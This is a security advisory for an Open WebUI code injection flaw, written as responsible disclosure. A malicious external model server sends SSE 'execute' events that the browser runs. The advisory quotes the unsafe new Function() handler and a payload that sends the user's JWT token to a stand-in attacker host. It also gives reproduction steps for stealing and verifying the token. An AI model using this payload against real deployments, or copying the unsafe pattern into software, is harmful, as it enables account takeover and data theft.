GHSA-cm35-v4vp-5xvx: Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
SummaryOpen WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) `execute` events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.DetailsROOT CAUSE ANALYSIS:Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible 
model servers without proper validation of the Server-Sent Events (SSE) these servers emit.VULNERABLE COMPONENT: Frontend SSE Event HandlerThe frontend JavaScript code processes SSE events from external servers and specifically 
handles an `execute` event type that triggers arbitrary JavaScript execution:// Approximate vulnerable code location (frontend SSE handler)
if (event.type === 'execute') {
  const func = new Function(event.data.code);  // CRITICAL: Unsafe code execution
  await func();
}VULNERABILITY DETAILS:No validation of external server trustworthinessNo allowlist of trusted model providersNo event type whitelisting or filteringDirect execution of code from `execute` events using `new Function()`No sandboxing or Content Security Policy enforcementFull browser context access (localStorage, cookies, DOM)ATTACK VECTOR:Attacker deploys malicious OpenAI-compatible API serverSocial engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"Victim enables Direct Connections (Admin Settings → Connections)
<img width="3466" height="2232" alt="CleanShot 2025-10-10 at 10 41 57@2x" src="https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002" />Victim adds attacker's URL as external connectionVictim sends ANY message to the malicious modelMalicious server responds with SSE stream including:data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}Frontend executes the malicious code via `new Function()`JWT token exfiltrated to attacker's serverToken is valid permanently (expires_at: null)EXPLOITATION EVIDENCE:Tested on Open WebUI v0.6.33 (2025-10-08):Token successfully captured in < ~5 secondsAdmin token obtained with full privilegesToken format: JWT stored in localStorageToken validation confirmed via `/api/v1/users/user/info](http://localhost:3000/api/v1/auths/`CWE CLASSIFICATIONS:Primary:CWE-829: Inclusion of Functionality from Untrusted Control SphereCWE-95: Improper Neutralization of Directives in Dynamically Evaluated CodeSecondary:CWE-830: Inclusion of Web Functionality from an Untrusted SourceCWE-501: Trust Boundary ViolationCWE-522: Insufficiently Protected Credentials (token in localStorage)CHAINED IMPACT:When admin token is stolen, attacker can exploit Functions API to achieve RCE
on backend server (see separate report for Functions/Tools vulnerability).PoCPROOF OF CONCEPT - COMPLETE REPRODUCTIONPREREQUISITES:Open WebUI v0.6.33 running (tested version)Node.js v18+ for malicious serverPython 3.8+ for token listenerENVIRONMENT SETUP:For Docker deployment:
Clone the repository Open WebUI v0.6.33 and run `docker compose up`EXPLOITATION STEPS:Step 1: Create Malicious Model Server (malicious-server.js)Start: 
`uv venv`
`uv pip install requests`
`uv run python autoauto_exploit.py`Step 3: Enable Direct Connections and Add Malicious ModelLogin to Open WebUI as adminGo to Admin Panel → Settings → ConnectionsEnable "Direct Connections" toggleClick "Add Connection"Enter:Name: Test ModelBase URL: http://host.docker.internal:8000 (for Docker) OR http://localhost:8000API Key: any-valueEnable the connection and SaveStep 4: Trigger ExploitationIn Open WebUI chat interfaceSelect "gpt-4-turbo-preview" from model dropdownType any message: "Hello"Press SendEXPECTED RESULTS:Terminal 2 (node server.js):Terminal 3 (uv run python auto_exploit.py):Step 5: Verify Token Theftcurl -H "Authorization: Bearer $(cat stolen_token.txt)" \
     'http://localhost:3000/api/v1/auths/'Expected output:
{
  "id": "...",
  "email": "admin@example.com",
  "role": "admin",
  "token_type": ...
}EXPLOITATION TIMELINE:T+0s: User sends messageT+1s: Malicious SSE event injectedT+2s: JavaScript executes in browserT+3s: Token exfiltrated to attackerT+4s: Token captured and validatedTotal time: < 5 seconds from first messageDOCKER CONFIGURATION NOTE:
For Docker deployments, use host.docker.internal:8000 to reach the host machine 
where the malicious server runs.AUTOMATED EXPLOITATION:
A complete automated exploit script is available that captures the token and 
immediately weaponizes it for RCE. Contact for full exploit code.ImpactVULNERABILITY TYPE: Code Injection via Untrusted External Data SourceWHO IS IMPACTED:All users who enable Direct Connections featureOrganizations allowing external model endpointsUsers adding local models (Ollama, LM Studio, custom APIs)Development and testing environmentsDirect Connections is admin-controllable but affects all users once enabledCommon in organizations using "bring your own model" policiesSocial engineering success rate is high ("Try my free GPT-4")Feature is designed for external connections, making attacks plausibleATTACK SCENARIOS:Scenario 1: Corporate EspionageAttacker targets company using Open WebUIPosts "free GPT-4 alternative" on Reddit/HackerNewsCompany employees add the malicious modelMultiple tokens stolen including adminFull access to company's AI conversations and dataScenario 2: Supply Chain AttackMSP hosts Open WebUI for 50 clientsMSP employee tests malicious modelAdmin token stolenAttacker gains access to all 50 client instancesScenario 3: Insider Threat AmplificationDisgruntled employee with user accountDeploys malicious modelShares in company Slack: "Cool new model!"Admin tests it, token stolenEmployee escalates to admin privileges**Please note that once this vulnerability is fixed, we are going to release a blog. I work as a security researcher for Cato Networks.**
CVSS v3.1: 7.3